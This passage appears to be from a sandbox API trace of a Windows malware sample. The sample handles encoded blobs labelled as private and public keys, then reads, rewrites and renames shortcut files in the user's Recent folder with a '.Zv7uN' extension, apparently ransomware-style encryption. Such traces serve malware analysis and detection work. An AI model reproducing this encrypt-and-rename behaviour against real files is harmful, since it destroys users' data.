pQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.447] GetCurrentThreadId () returned 0xa30 [0079.448] GetCurrentThreadId () returned 0xa30 [0079.448] GetCurrentThreadId () returned 0xa30 [0079.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.449] GetCurrentThreadId () returned 0xa30 [0079.449] GetCurrentThreadId () returned 0xa30 [0079.449] GetCurrentThreadId () returned 0xa30 [0079.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x206a [0079.449] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.450] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x206a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x206a, lpOverlapped=0x0) returned 1 [0079.452] CloseHandle (hObject=0x124) returned 1 [0079.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.454] WriteFile (in: hFile=0x124, lpBuffer=0x1f80800*, nNumberOfBytesToWrite=0x206a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f80800*, lpNumberOfBytesWritten=0x18f978*=0x206a, lpOverlapped=0x0) returned 1 [0079.457] CloseHandle (hObject=0x124) returned 1 [0079.461] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk.zv7un")) returned 1 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] GetCurrentThreadId () returned 0xa30 [0079.462] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d521de0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d521de0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d521de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="5lN31fAPZCnHRtzpRQ.lnk", cAlternateFileName="5LN31F~1.LNK")) returned 1 [0079.462] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.462] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d521de0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d521de0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d521de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0079.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk")) returned 0x20 [0079.463] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk", dwFileAttributes=0x80) returned 1 [0079.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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